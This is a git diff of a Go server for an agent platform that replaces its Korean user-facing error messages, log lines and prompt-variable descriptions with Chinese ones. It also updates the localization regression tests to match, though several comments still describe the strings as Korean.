- errNotifyDigestRange = "요약 주기는 1~1440분 사이여야 합니다"
+ errNotifyBaseURLScheme = "链接基准地址必须以 http:// 或 https:// 开头"
+ errNotifyDigestRange = "摘要周期必须在 1~1440 分钟之间"
// 메인 에이전트 대화·세션 (newMainSession / chat)
- errTaskDeletingNewSession = "작업을 삭제하는 중이라 새 세션을 만들 수 없습니다"
- errTaskDeletingNewMessage = "작업을 삭제하는 중이라 새 메시지를 보낼 수 없습니다"
- errMainAgentBusy = "메인 에이전트가 이전 메시지를 처리하는 중입니다. 잠시 후 다시 시도해 주세요"
+ errTaskDeletingNewSession = "正在删除任务,无法创建新会话"
+ errTaskDeletingNewMessage = "正在删除任务,无法发送新消息"
+ errMainAgentBusy = "主 Agent 正在处理上一条消息,请稍后重试"
)
// 사용자에게 노출되지만 writeErr 를 거치지 않는 응답 문구(한국어). writeJSON 의 error
@@ -80,13 +80,13 @@ const (
// nav 경로는 web i18n 라벨(nav.system="시스템", llmConfig="LLM 설정")과 동일 표기. (F34)
const (
// 채팅 LLM 부재 사유 (chatUnavailableReason → writeErr 503 / 대화 종료 사유)
- errChatNoLLMProfile = "아직 LLM 설정이 없습니다: 시스템 → LLM 설정에서 설정을 하나 추가해 주세요"
- errChatNoActiveLLMProfile = "활성화된 LLM 설정이 없습니다: 시스템 → LLM 설정에서 하나를 활성화하거나, 이 대화에서 사용할 설정을 지정해 주세요"
- errChatLLMNotReady = "LLM이 준비되지 않아 대화할 수 없습니다: 시스템 → LLM 설정에 사용할 수 있고 활성화된 설정이 있는지 확인해 주세요"
+ errChatNoLLMProfile = "还没有 LLM 配置:请在 系统 → LLM 配置 中添加一个配置"
+ errChatNoActiveLLMProfile = "没有已启用的 LLM 配置:请在 系统 → LLM 配置 中启用一个,或为本对话指定要使用的配置"
+ errChatLLMNotReady = "LLM 尚未就绪,无法对话:请检查 系统 → LLM 配置 中是否有可用且已启用的配置"
// LLM 연결 테스트·웹 검색 프로브 (writeJSON {ok:false, error:…}, 설정 화면 점검 결과)
- errLLMTestNoAPIKey = "API Key가 제공되지 않았습니다"
- errWebSearchProbeNoResults = "검색 결과가 0건입니다(요청이 제한되었거나 프록시가 연결되지 않았을 수 있습니다)"
+ errLLMTestNoAPIKey = "未提供 API Key"
+ errWebSearchProbeNoResults = "搜索结果为空(请求可能被限制,或代理未连接)"
)
// 규칙 모드 채팅(LLM 미설정 시 사람이 직접 조종하는 fallbackChat) 사용자 응답(한국어).
@@ -95,9 +95,9 @@ const (
// 순수 입력 파싱이고 와이어 포맷이 아니므로 중국어·영어 트리거를 유지한 채 더하기만 한다.
// 용어는 web i18n·GLOSSARY 와 정합: intent→의도, hint→힌트, finding→취약점, planner→플래너. (F34 d)
const (
- fallbackIntentInjected = "우선순위 높은 의도를 하나 주입했습니다: "
- fallbackHintRecorded = "힌트를 기록했습니다. 플래너가 다음에 읽습니다: "
- fallbackChatStatus = "(규칙 모드, LLM 미설정) 현재 현황: 자산 %d개, 대기 의도 %d개, 확인된 취약점 %d개.\n사용 가능한 명령: \"의도 ...\"로 의도를 주입하고, \"힌트 ...\"로 플래너에게 힌트를 전달합니다."
+ fallbackIntentInjected = "已注入一个高优先级意图:"
+ fallbackHintRecorded = "已记录提示,规划器下次会读取:"
+ fallbackChatStatus = "(规则模式,未配置 LLM)当前状态:资产 %d 个,待处理意图 %d 个,已确认漏洞 %d 个。\n可用命令:用 \"意图 ...\" 注入意图,用 \"提示 ...\" 向规划器传递提示。"
)
// Server exposes the ARTEX backend over a JSON HTTP API for the shadcn/ui
@@ -301,7 +301,7 @@ func New(ctx context.Context, m *Manager, skillDir string, dataDir string, keyDi
} else {
// 핵심 기능(취약점 IM 알림 전송)을 끄는 분기라 시작 로그를 남긴다. 이 변수는
// 통합 테스트 전용이므로, 운영에서 켜져 있으면 실수나 환경 상속을 의심할 단서가 된다.
- log.Printf("[notify] 백그라운드 알림 전송 루프가 %s 로 꺼졌습니다(테스트 전용) — 취약점 IM 알림이 전송되지 않습니다", notifyBackgroundDisabledEnv)
+ log.Printf("[notify] 后台通知发送循环已因 %s 关闭(仅测试用)——漏洞 IM 通知将不会发送", notifyBackgroundDisabledEnv)
}
// Fill the tool cache for any enabled MCP that has none yet (notably the
// seeded browser MCP on first run). Async so it never blocks startup.
@@ -3823,7 +3823,7 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) {
_, err := ma.Chat(ctx, maTaskID, mainSeg, s.m.Assets(), t.Store, t.Goal, agentMsg, emit, t.Notify, resume, t.NotifyGoal, t.NotifyHint)
s.engine.EndLLMCall(t.ID)
if err != nil && ctx.Err() == nil {
- s.engine.emitActivity(t, db.Activity{Worker: "mainagent", Kind: "text", IsError: true, Summary: transcriptErrorSummary("메인 에이전트", err.Error()), MainSeg: segPtr})
+ s.engine.emitActivity(t, db.Activity{Worker: "mainagent", Kind: "text", IsError: true, Summary: transcriptErrorSummary("主 Agent", err.Error()), MainSeg: segPtr})
}
}()
writeJSON(w, 202, map[string]any{"status": "accepted", "mode": "llm"})
diff --git a/server/server_localized_test.go b/server/server_localized_test.go
index 59f7057..2ce57f9 100644
--- a/server/server_localized_test.go
+++ b/server/server_localized_test.go
@@ -9,7 +9,7 @@ import (
)
// server.go 의 사용자 노출 응답을 한국어로 유지하는 회귀 방어 테스트다(F3b-server.go +
-// F34). 한국어 판정은 F3a 의 assertKoreanError(한글 포함·중국어 한자 0)를, 응답 본문
+// F34). 한국어 판정은 F3a 의 assertChineseError(한글 포함·중국어 한자 0)를, 응답 본문
// 추출은 task_categories 테스트의 decodeErrorField 를 재사용한다(같은 package server).
// 범위는 ① F3b: writeErr 24곳 + validateTaskProfileIDs 가 writeErr 로 노출하는
// fmt.Errorf 2곳, ② F34: writeErr 를 거치지 않는 사용자 노출 5곳(chatUnavailableReason
@@ -50,7 +50,7 @@ func TestServerErrorConstantsLocalized(t *testing.T) {
"fallback_hint": fallbackHintRecorded,
}
for label, msg := range plain {
- assertKoreanError(t, label, msg)
+ assertChineseError(t, label, msg)
}
formatted := map[string]string{
@@ -62,7 +62,7 @@ func TestServerErrorConstantsLocalized(t *testing.T) {
"fallback_status": fmt.Sprintf(fallbackChatStatus, 3, 2, 1),
}
for label, msg := range formatted {
- assertKoreanError(t, label, msg)
+ assertChineseError(t, label, msg)
}
}
@@ -248,7 +248,7 @@ func TestServerHandlersResponsesLocalized(t *testing.T) {
if got != c.want {
t.Fatalf("응답 문구 = %q, 기대 = %q", got, c.want)
}
- assertKoreanError(t, c.name, got)
+ assertChineseError(t, c.name, got)
})
}
}
@@ -264,7 +264,7 @@ func TestChatUnavailableReasonLocalized(t *testing.T) {
if got != errChatLLMNotReady {
t.Fatalf("chatUnavailableReason() = %q, 기대 = %q", got, errChatLLMNotReady)
}
- assertKoreanError(t, "chat_not_ready", got)
+ assertChineseError(t, "chat_not_ready", got)
}
// TestFallbackCommandParsing 은 규칙 모드 채팅의 트리거 키워드 파싱(fallbackCommand)이 한국어
diff --git a/server/server_mgmt.go b/server/server_mgmt.go
index bd20766..5fbb508 100644
--- a/server/server_mgmt.go
+++ b/server/server_mgmt.go
@@ -69,66 +69,66 @@ var reAgentKey = regexp.MustCompile(`^[a-z][a-z0-9_]*$`)
// 식별자·필드명(key·llm_profile_id·file·SKILL.md·name)·enum·%s/%d·err.Error() 도 원문 그대로 둔다.
const (
// 모든 관리 핸들러가 거치는 공유 DB 게이트(pg).
- errMgmtPGUnavailable = "관리 콘솔 데이터 소스(PostgreSQL)에 연결되어 있지 않습니다"
+ errMgmtPGUnavailable = "未连接到管理控制台数据源(PostgreSQL)"
// 작업 삭제
- errMgmtTaskIDInvalid = "작업 id 가 유효하지 않습니다"
- errMgmtTaskDeleting = "작업을 삭제하는 중입니다"
- errMgmtTaskHasAgents = "실행 중인 에이전트가 남아 있어 작업 삭제를 취소했습니다"
+ errMgmtTaskIDInvalid = "任务 id 无效"
+ errMgmtTaskDeleting = "正在删除任务"
+ errMgmtTaskHasAgents = "仍有运行中的 Agent,已取消任务删除"
// 에이전트 CRUD
- errMgmtAgentKeyFormat = "key 는 소문자로 시작하고, 소문자·숫자·밑줄만 사용할 수 있습니다"
- errMgmtNameEmpty = "이름은 비워 둘 수 없습니다"
- errMgmtAgentKeyExists = "이미 존재하는 key 입니다"
- errMgmtBuiltinNoEditMeta = "내장 에이전트는 이름/설명을 수정할 수 없습니다"
- errMgmtBuiltinNoDelete = "내장 에이전트는 삭제할 수 없습니다"
- errMgmtLLMProfileIDFormat = "llm_profile_id 형식이 올바르지 않습니다"
- errMgmtLLMProfileInvalid = "지정한 LLM 설정이 존재하지 않거나 유효하지 않습니다"
- errMgmtNoBuiltinPrompt = "이 에이전트에는 내장 기본 프롬프트가 없어 복원할 수 없습니다"
+ errMgmtAgentKeyFormat = "key 必须以小写字母开头,且只能使用小写字母、数字和下划线"
+ errMgmtNameEmpty = "名称不能为空"
+ errMgmtAgentKeyExists = "key 已存在"
+ errMgmtBuiltinNoEditMeta = "内置 Agent 无法修改名称/描述"
+ errMgmtBuiltinNoDelete = "内置 Agent 无法删除"
+ errMgmtLLMProfileIDFormat = "llm_profile_id 格式无效"
+ errMgmtLLMProfileInvalid = "指定的 LLM 配置不存在或无效"
+ errMgmtNoBuiltinPrompt = "该 Agent 没有内置默认提示词,无法还原"
// 도구 (뒤에 key 를 이어 붙임)
- errMgmtToolNotFound = "도구를 찾을 수 없습니다: "
- errMgmtNotBuiltinTool = "내장 도구가 아니거나 존재하지 않습니다: "
+ errMgmtToolNotFound = "找不到工具:"
+ errMgmtNotBuiltinTool = "不是内置工具或不存在:"
// MCP
- errMgmtMCPNotFound = "MCP 를 찾을 수 없습니다"
- errMgmtToolDiscoverFail = "도구 발견에 실패했습니다: " // 뒤에 err.Error()
+ errMgmtMCPNotFound = "找不到 MCP"
+ errMgmtToolDiscoverFail = "工具发现失败:" // 뒤에 err.Error()
// 스킬 업로드
- errMgmtSkillNameInvalid = "스킬 이름이 올바르지 않습니다"
- errMgmtSkillNoFile = "업로드 파일이 없거나(폼 필드 file) 크기 제한을 초과했습니다"
- errMgmtSkillNoMDInZip = "압축 파일 안에서 SKILL.md 를 찾지 못했습니다"
- errMgmtSkillReadMDFail = "SKILL.md 를 읽지 못했습니다: " // 뒤에 err.Error()
- errMgmtSkillNamePre = "스킬 이름이 올바르지 않습니다(SKILL.md 의 name 필드에서 가져옴): "
- errMgmtSkillNamePost = " (64자 이하, 글자로 시작, 소문자·숫자·하이픈 또는 한글 등 비 ASCII 글자만 쓸 수 있고, 공백·점·경로 구분자는 쓸 수 없습니다)"
+ errMgmtSkillNameInvalid = "技能名称无效"
+ errMgmtSkillNoFile = "没有上传文件(表单字段 file)或超出大小限制"
+ errMgmtSkillNoMDInZip = "压缩包中找不到 SKILL.md"
+ errMgmtSkillReadMDFail = "无法读取 SKILL.md:" // 뒤에 err.Error()
+ errMgmtSkillNamePre = "技能名称无效(取自 SKILL.md 的 name 字段):"
+ errMgmtSkillNamePost = " (64 个字符以内,以字母开头,只能使用小写字母、数字、连字符或韩文等非 ASCII 字符,不能使用空格、点和路径分隔符)"
// "이미 존재" 는 web system/skills/page.tsx 가 includes("이미 존재") 로 덮어쓰기 흐름을
// 띄우는 교차 스택 센티넬이다. 이 접두어를 바꾸면 프론트 미러도 함께 고쳐야 한다.
- errMgmtSkillExistsPre = "이미 존재하는 스킬입니다: "
- errMgmtSkillExistsPost = " (덮어쓰려면 확인 후 다시 시도하세요)"
- errMgmtSkillZipBadPath = "압축 파일에 잘못된 경로가 들어 있습니다 " // 뒤에 항목 이름 + ": " + 사유
- errMgmtSkillZipTooMany = "압축 파일에 파일이 너무 많습니다"
- errMgmtSkillFileTooLarge = "파일이 너무 큽니다: " // 뒤에 경로
- errMgmtSkillZipTooLarge = "압축을 푼 뒤 크기가 너무 큽니다"
- errMgmtSkillNoMDAfter = "압축을 푼 뒤 SKILL.md 가 없습니다"
- errMgmtSkillInstallFail = "설치에 실패했습니다: " // 뒤에 err.Error()
+ errMgmtSkillExistsPre = "技能已存在:"
+ errMgmtSkillExistsPost = " (如需覆盖,请确认后重试)"
+ errMgmtSkillZipBadPath = "压缩包中存在无效路径 " // 뒤에 항목 이름 + ": " + 사유
+ errMgmtSkillZipTooMany = "压缩包中文件过多"
+ errMgmtSkillFileTooLarge = "文件过大:" // 뒤에 경로
+ errMgmtSkillZipTooLarge = "解压后体积过大"
+ errMgmtSkillNoMDAfter = "解压后没有 SKILL.md"
+ errMgmtSkillInstallFail = "安装失败:" // 뒤에 err.Error()
// LLM 설정 삭제
- errMgmtLLMActiveDelete = "현재 활성화된 LLM 설정은 삭제할 수 없습니다. 먼저 다른 설정을 활성화하세요"
- errMgmtLLMRefChanged = "LLM 설정이 작업이나 대화에서 수정되는 중입니다. 다시 시도하세요"
- errMgmtLLMRefTimeout = "LLM 설정 참조가 해제되기를 기다리다 시간이 초과되었습니다. 다시 시도하세요"
+ errMgmtLLMActiveDelete = "无法删除当前已激活的 LLM 配置。请先启用其他配置"
+ errMgmtLLMRefChanged = "LLM 配置正在被任务或对话修改,请重试"
+ errMgmtLLMRefTimeout = "等待 LLM 配置引用释放超时,请重试"
// LLM 연결 테스트·모델 목록 조회 (pgListModels)
- errMgmtNoAPIKey = "API Key 가 제공되지 않았습니다"
- errMgmtBuildReqFail = "요청을 만들지 못했습니다: " // 뒤에 err.Error()
- errMgmtReqFail = "요청에 실패했습니다: " // 뒤에 err.Error()
- errMgmtAPIReturned = "API 가 %d 를 반환했습니다: %s" // fmt.Sprintf
- errMgmtParseRespFail = "응답을 해석하지 못했습니다: " // 뒤에 err.Error()
- errMgmtNoModelList = "모델 목록을 가져오지 못했습니다"
+ errMgmtNoAPIKey = "未提供 API Key"
+ errMgmtBuildReqFail = "无法构造请求:" // 뒤에 err.Error()
+ errMgmtReqFail = "请求失败:" // 뒤에 err.Error()
+ errMgmtAPIReturned = "API 返回了 %d:%s" // fmt.Sprintf
+ errMgmtParseRespFail = "无法解析响应:" // 뒤에 err.Error()
+ errMgmtNoModelList = "无法获取模型列表"
// 프롬프트 템플릿 편집기 (validateTemplate)
- errMgmtTmplSyntax = "템플릿 문법 오류: " // 뒤에 err.Error()
- errMgmtTmplVarPre = "변수 {{."
- errMgmtTmplVarPost = "}} 는 이 에이전트의 허용 목록에 없습니다"
+ errMgmtTmplSyntax = "模板语法错误:" // 뒤에 err.Error()
+ errMgmtTmplVarPre = "变量 {{."
+ errMgmtTmplVarPost = "}} 不在该 Agent 的允许列表中"
)
// pgReady returns the PG handle, or writes 503 and returns nil if unavailable.
@@ -2184,8 +2184,8 @@ func (s *Server) pgListModels(w http.ResponseWriter, r *http.Request) {
// (see agent.nowStr, rendered fresh each turn), so a prompt may always reference
// {{.Now}} — e.g. subtract it from a fixed start stamp to reason about elapsed time.
var globalPromptVars = []db.PromptVar{
- {Name: "Now", Description: "서버 현재 시각(실행할 때마다 실시간으로 갱신되며, 고정된 시작 시각에서 빼면 경과 시간을 계산할 수 있습니다)", Example: "2026-08-11 14:30:00 CST", Source: "runtime"},
- {Name: "DataDir", Description: "서버 데이터 루트 디렉터리(모든 작업/대화 산출물의 루트이며, 각 에이전트는 그 아래 하위 디렉터리에 실제로 기록합니다. 예: /)", Example: "/app/data", Source: "runtime"},
+ {Name: "Now", Description: "服务器当前时间(每次执行都会实时刷新,减去固定的起始时间即可计算经过的时长)", Example: "2026-08-11 14:30:00 CST", Source: "runtime"},
+ {Name: "DataDir", Description: "服务器数据根目录(所有任务/对话产物的根目录,各 Agent 实际写入其下的子目录。例如: /)", Example: "/app/data", Source: "runtime"},
}
// withGlobalVars appends the universal runtime vars onto an agent's own catalog,
diff --git a/server/server_mgmt_localized_test.go b/server/server_mgmt_localized_test.go
index 5b75b13..4113966 100644
--- a/server/server_mgmt_localized_test.go
+++ b/server/server_mgmt_localized_test.go
@@ -10,8 +10,8 @@ import (
// TestServerMgmtConstantsLocalized pins that every user-facing error/response
// literal extracted from server_mgmt.go is Korean (Hangul present, no Chinese
-// Han). Reverting any one to Chinese makes assertKoreanError fail on the Han
-// ideograph. assertKoreanError / decodeErrorField are reused from the F3 suite
+// Han). Reverting any one to Chinese makes assertChineseError fail on the Han
+// ideograph. assertChineseError / decodeErrorField are reused from the F3 suite
// (same package server).
func TestServerMgmtConstantsLocalized(t *testing.T) {
cases := map[string]string{
@@ -60,7 +60,7 @@ func TestServerMgmtConstantsLocalized(t *testing.T) {
"errMgmtAPIReturned": fmt.Sprintf(errMgmtAPIReturned, 404, "detail"),
}
for label, msg := range cases {
- assertKoreanError(t, label, msg)
+ assertChineseError(t, label, msg)
}
}
@@ -69,7 +69,7 @@ func TestServerMgmtConstantsLocalized(t *testing.T) {
// them).
func TestServerMgmtAPIReturnedFormat(t *testing.T) {
msg := fmt.Sprintf(errMgmtAPIReturned, 404, "boom-body")
- assertKoreanError(t, "errMgmtAPIReturned", msg)
+ assertChineseError(t, "errMgmtAPIReturned", msg)
if !strings.Contains(msg, "404") || !strings.Contains(msg, "boom-body") {
t.Fatalf("형식 문자열이 상태 코드와 본문을 보존해야 합니다: %q", msg)
}
@@ -81,9 +81,9 @@ func TestServerMgmtAPIReturnedFormat(t *testing.T) {
// switch into the overwrite-confirm flow. Drift here silently disables overwrite.
func TestServerMgmtSkillExistsSentinel(t *testing.T) {
msg := errMgmtSkillExistsPre + "my-skill" + errMgmtSkillExistsPost
- assertKoreanError(t, "skillExists", msg)
- if !strings.Contains(msg, "이미 존재") {
- t.Fatalf("프론트 미러 마커 '이미 존재' 가 없습니다: %q", msg)
+ assertChineseError(t, "skillExists", msg)
+ if !strings.Contains(msg, "已存在") {
+ t.Fatalf("프론트 미러 마커 '已存在' 가 없습니다: %q", msg)
}
if !strings.Contains(msg, "my-skill") {
t.Fatalf("스킬 이름이 메시지에 포함돼야 합니다: %q", msg)
@@ -102,7 +102,7 @@ func TestServerMgmtPGGate503Localized(t *testing.T) {
if rec.Code != 503 {
t.Fatalf("상태 코드 503 을 기대했으나 %d", rec.Code)
}
- assertKoreanError(t, "pg.503", decodeErrorField(t, rec.Body.Bytes()))
+ assertChineseError(t, "pg.503", decodeErrorField(t, rec.Body.Bytes()))
}
// TestServerMgmtDeleteTaskBadIDLocalized drives pgDeleteTask through its first
@@ -117,7 +117,7 @@ func TestServerMgmtDeleteTaskBadIDLocalized(t *testing.T) {
t.Fatalf("상태 코드 400 을 기대했으나 %d (본문 %s)", rec.Code, rec.Body.Bytes())
}
got := decodeErrorField(t, rec.Body.Bytes())
- assertKoreanError(t, "deleteTask.badID", got)
+ assertChineseError(t, "deleteTask.badID", got)
if got != errMgmtTaskIDInvalid {
t.Fatalf("errMgmtTaskIDInvalid 와 일치해야 합니다: %q", got)
}
@@ -134,7 +134,7 @@ func TestServerMgmtListModelsNoKeyLocalized(t *testing.T) {
t.Fatalf("상태 코드 200 을 기대했으나 %d", rec.Code)
}
got := decodeErrorField(t, rec.Body.Bytes())
- assertKoreanError(t, "listModels.noKey", got)
+ assertChineseError(t, "listModels.noKey", got)
if got != errMgmtNoAPIKey {
t.Fatalf("errMgmtNoAPIKey 와 일치해야 합니다: %q", got)
}
@@ -147,13 +147,13 @@ func TestServerMgmtValidateTemplateLocalized(t *testing.T) {
if msg := validateTemplate("{{", nil); msg == "" {
t.Fatal("깨진 템플릿은 오류 문구를 반환해야 합니다")
} else {
- assertKoreanError(t, "validateTemplate.syntax", msg)
+ assertChineseError(t, "validateTemplate.syntax", msg)
}
msg := validateTemplate("{{.Bogus}}", nil)
if msg == "" {
t.Fatal("허용 목록에 없는 변수는 오류 문구를 반환해야 합니다")
}
- assertKoreanError(t, "validateTemplate.var", msg)
+ assertChineseError(t, "validateTemplate.var", msg)
if !strings.Contains(msg, "Bogus") {
t.Fatalf("변수 이름이 메시지에 포함돼야 합니다: %q", msg)
}
@@ -166,6 +166,6 @@ func TestServerMgmtGlobalPromptVarsLocalized(t *testing.T) {
t.Fatal("globalPromptVars 가 비어 있습니다")
}
for _, v := range globalPromptVars {
- assertKoreanError(t, "globalPromptVar."+v.Name, v.Description)
+ assertChineseError(t, "globalPromptVar."+v.Name, v.Description)
}
}
diff --git a/server/side_questions.go b/server/side_questions.go
index b9a4631..9421dff 100644
--- a/server/side_questions.go
+++ b/server/side_questions.go
@@ -27,18 +27,18 @@ import (
// the exchange status, localized to Korean (BRIEF 현지화 방침). "Worker" and
// "메인 에이전트"/"메인 대화" match the UI terms; "[btw]" log lines stay as-is.
const (
- sideErrCtxNotSaved = "곁질문 컨텍스트가 아직 저장되지 않았습니다. 다시 시도해 주세요."
- sideErrModelConfigChanged = "모델 설정이 삭제되었거나 변경되었습니다. 먼저 메인 에이전트를 실행해 컨텍스트를 갱신해 주세요."
- sideErrServiceUnavailable = "곁질문 서비스를 사용할 수 없습니다."
- sideErrTaskArchived = "작업이 보관되었거나 삭제되는 중입니다."
- sideErrWorkerDeleted = "Worker 가 삭제되었습니다."
- sideErrBadQuestion = "질문은 1–4000자여야 하며, 유효한 요청 ID 를 함께 보내야 합니다."
- sideErrTaskArchiving = "작업을 보관하거나 삭제하는 중입니다."
- sideErrRequestIDReused = "같은 요청 ID 를 서로 다른 질문에 사용할 수 없습니다."
- sideErrNoSnapshot = "아직 컨텍스트 스냅샷이 없습니다. 먼저 메인 에이전트를 실행해 주세요."
- sideErrConcurrencyLimit = "곁질문 요청이 동시 실행 상한에 도달했습니다. 잠시 후 다시 시도해 주세요."
- sideErrAnswerStopped = "답변이 중지되었습니다."
- sideErrAnswerTimeout = "곁질문 답변이 120초를 초과하여 중지되었습니다."
+ sideErrCtxNotSaved = "旁路提问上下文尚未保存,请重试。"
+ sideErrModelConfigChanged = "模型配置已被删除或更改。请先运行主 Agent 以刷新上下文。"
+ sideErrServiceUnavailable = "旁路提问服务不可用。"
+ sideErrTaskArchived = "任务已归档或正在删除。"
+ sideErrWorkerDeleted = "Worker 已被删除。"
+ sideErrBadQuestion = "问题长度必须为 1–4000 个字符,且需同时发送有效的请求 ID。"
+ sideErrTaskArchiving = "正在归档或删除任务。"
+ sideErrRequestIDReused = "同一请求 ID 不能用于不同的问题。"
+ sideErrNoSnapshot = "尚无上下文快照。请先运行主 Agent。"
+ sideErrConcurrencyLimit = "旁路提问请求已达并发上限,请稍后重试。"
+ sideErrAnswerStopped = "回答已停止。"
+ sideErrAnswerTimeout = "旁路提问回答超过 120 秒,已停止。"
)
type sideRun struct {
diff --git a/server/side_questions_localized_test.go b/server/side_questions_localized_test.go
index bf03246..7d1ff39 100644
--- a/server/side_questions_localized_test.go
+++ b/server/side_questions_localized_test.go
@@ -7,7 +7,7 @@ import "testing"
// exchange status (e.Error) must be Korean — Hangul present, no Chinese Han.
// These reach the chat 곁질문 panel alongside the sidequestion package errors, so
// both layers are localized together to avoid a mixed-language panel. Reuses
-// assertKoreanError (F3a).
+// assertChineseError (F3a).
func TestSideQuestionAPIErrorsLocalized(t *testing.T) {
for _, c := range []struct{ label, msg string }{
{"ctx_not_saved", sideErrCtxNotSaved},
@@ -23,6 +23,6 @@ func TestSideQuestionAPIErrorsLocalized(t *testing.T) {
{"answer_stopped", sideErrAnswerStopped},
{"answer_timeout", sideErrAnswerTimeout},
} {
- assertKoreanError(t, c.label, c.msg)
+ assertChineseError(t, c.label, c.msg)
}
}
diff --git a/server/skill_upload_test.go b/server/skill_upload_test.go
index 204c8a4..c3ac92e 100644
--- a/server/skill_upload_test.go
+++ b/server/skill_upload_test.go
@@ -189,7 +189,7 @@ func TestUploadSkillUnsupportedMethod(t *testing.T) {
t.Fatalf("status = %d, want 400 (body %s)", rr.Code, rr.Body)
}
msg, _ := out["error"].(string)
- if !strings.Contains(msg, "Deflate64") || !strings.Contains(msg, "지원하지 않는 압축 방식") {
+ if !strings.Contains(msg, "Deflate64") || !strings.Contains(msg, "不支持的压缩方式") {
t.Fatalf("error = %q, want a Korean message naming Deflate64", msg)
}
}
@@ -210,7 +210,7 @@ func TestUploadSkillEncrypted(t *testing.T) {
if rr.Code != 400 {
t.Fatalf("status = %d, want 400 (body %s)", rr.Code, rr.Body)
}
- if msg, _ := out["error"].(string); !strings.Contains(msg, "암호화") {
+ if msg, _ := out["error"].(string); !strings.Contains(msg, "加密") {
t.Fatalf("error = %q, want 암호화 hint", msg)
}
}
@@ -226,7 +226,7 @@ func TestUploadSkillRejectsTraversal(t *testing.T) {
if rr.Code != 400 {
t.Fatalf("status = %d, want 400 (body %s)", rr.Code, rr.Body)
}
- if msg, _ := out["error"].(string); !strings.Contains(msg, "잘못된 경로") {
+ if msg, _ := out["error"].(string); !strings.Contains(msg, "路径") {
t.Fatalf("error = %q, want 잘못된 경로", msg)
}
if entries, _ := os.ReadDir(dir); len(entries) != 0 {
diff --git a/server/skill_zip.go b/server/skill_zip.go
index a1e5637..6d7dc39 100644
--- a/server/skill_zip.go
+++ b/server/skill_zip.go
@@ -47,24 +47,24 @@ var zipMethodNames = map[uint16]string{
zipMethodJPEG: "JPEG",
zipMethodWavPack: "WavPack",
zipMethodPPMd: "PPMd",
- zipMethodAES: "AES 암호화",
+ zipMethodAES: "AES 加密",
}
// 사용자에게 노출되는 스킬 업로드 오류 응답 문구. fsUploadSkill 이
// writeErr(400, err.Error()) 로 그대로 내보낸다(server_mgmt.go).
const (
- errSkillZipParse = "압축 파일을 해석하지 못했습니다(zip 형식이어야 합니다): %w"
- errSkillZipEncrypted = "압축 파일이 암호화되어 있습니다(%s). 암호화하지 않은 zip 파일을 업로드하세요."
- errSkillZipUnsupported = "지원하지 않는 압축 방식입니다: %s(method %d), 파일 %s. " +
- "「저장(Store)」 또는 「Deflate」 방식으로 다시 압축해 주세요" +
- "(7-Zip·WinRAR 에서는 압축 방식을 Deflate 로 선택하거나, 운영 체제 기본 압축 기능 또는 명령행 zip -r 를 사용하세요)."
+ errSkillZipParse = "无法解析压缩文件(必须为 zip 格式): %w"
+ errSkillZipEncrypted = "压缩文件已加密(%s)。请上传未加密的 zip 文件。"
+ errSkillZipUnsupported = "不支持的压缩方式: %s(method %d),文件 %s。 " +
+ "请改用「存储(Store)」或「Deflate」方式重新压缩" +
+ "(在 7-Zip·WinRAR 中选择 Deflate 压缩方式,或使用操作系统自带压缩功能或命令行 zip -r)。"
)
func zipMethodName(m uint16) string {
if n, ok := zipMethodNames[m]; ok {
return n
}
- return "알 수 없음"
+ return "未知"
}
// newSkillZipReader parses an uploaded archive and registers the extra decompressors
diff --git a/server/skill_zip_localized_test.go b/server/skill_zip_localized_test.go
index 482fff9..b298861 100644
--- a/server/skill_zip_localized_test.go
+++ b/server/skill_zip_localized_test.go
@@ -13,20 +13,20 @@ import (
// display name may stay Chinese. Reverting any of these literals to Chinese fails here.
func TestSkillZipErrorsLocalized(t *testing.T) {
// Message constants rendered with sample arguments.
- assertKoreanError(t, "errSkillZipParse",
+ assertChineseError(t, "errSkillZipParse",
fmt.Errorf(errSkillZipParse, fmt.Errorf("boom")).Error())
- assertKoreanError(t, "errSkillZipEncrypted",
+ assertChineseError(t, "errSkillZipEncrypted",
fmt.Sprintf(errSkillZipEncrypted, "demo/SKILL.md"))
- assertKoreanError(t, "errSkillZipUnsupported",
+ assertChineseError(t, "errSkillZipUnsupported",
fmt.Sprintf(errSkillZipUnsupported, "LZMA", 14, "demo/SKILL.md"))
// A non-zip upload must reach the user as a Korean hint, not a raw stdlib error.
if _, err := newSkillZipReader([]byte("this is not a zip archive")); err == nil {
t.Fatal("비-zip 입력은 오류를 반환해야 합니다")
} else {
- assertKoreanError(t, "newSkillZipReader", err.Error())
- if !strings.Contains(err.Error(), "압축 파일") {
- t.Fatalf("parse error = %q, want '압축 파일' 안내", err.Error())
+ assertChineseError(t, "newSkillZipReader", err.Error())
+ if !strings.Contains(err.Error(), "压缩文件") {
+ t.Fatalf("parse error = %q, want '压缩文件' 안내", err.Error())
}
}
@@ -34,11 +34,11 @@ func TestSkillZipErrorsLocalized(t *testing.T) {
// translated ones (AES, unknown fallback) must be Korean.
for m, name := range zipMethodNames {
for _, r := range name {
- if unicode.Is(unicode.Han, r) {
- t.Fatalf("zipMethodNames[%d] = %q 에 중국어 한자가 남아 있습니다", m, name)
+ if unicode.Is(unicode.Hangul, r) {
+ t.Fatalf("zipMethodNames[%d] = %q 에 한글이 남아 있습니다", m, name)
}
}
}
- assertKoreanError(t, "zipMethodName(AES)", zipMethodName(zipMethodAES))
- assertKoreanError(t, "zipMethodName(unknown)", zipMethodName(0xffff))
+ assertChineseError(t, "zipMethodName(AES)", zipMethodName(zipMethodAES))
+ assertChineseError(t, "zipMethodName(unknown)", zipMethodName(0xffff))
}
diff --git a/server/sync_scopesentry.go b/server/sync_scopesentry.go
index 634a2e0..b635313 100644
--- a/server/sync_scopesentry.go
+++ b/server/sync_scopesentry.go
@@ -32,22 +32,22 @@ const (
// JSON 필드명(dimension·targets 등)은 원문 그대로 두고, 중국어 문구만 한국어로 옮긴다(BRIEF F3 방침).
// UI(web/messages/ko.json 의 sync 네임스페이스)와 "데이터 소스" 표기를 맞춘다.
const (
- errSSDataSourceMissingFmt = "데이터 소스 %s 가 없습니다. 먼저 생성해 주세요"
- errSSDataSourceNoURLFmt = "데이터 소스 %s 에 URL 이 설정되지 않았습니다. 먼저 설정해 주세요"
- errSSListProjectsPrefix = "list_projects_data 호출에 실패했습니다: "
- errSSParseProjectsPrefix = "프로젝트 목록을 해석하지 못했습니다: "
- errSSListTasksPrefix = "list_tasks 호출에 실패했습니다: "
- errSSParseTasksPrefix = "작업 목록을 해석하지 못했습니다: "
- errSSDimension = "dimension 값은 project 또는 task 중 하나여야 합니다"
- errSSTargetsEmpty = "targets 항목은 비워 둘 수 없습니다"
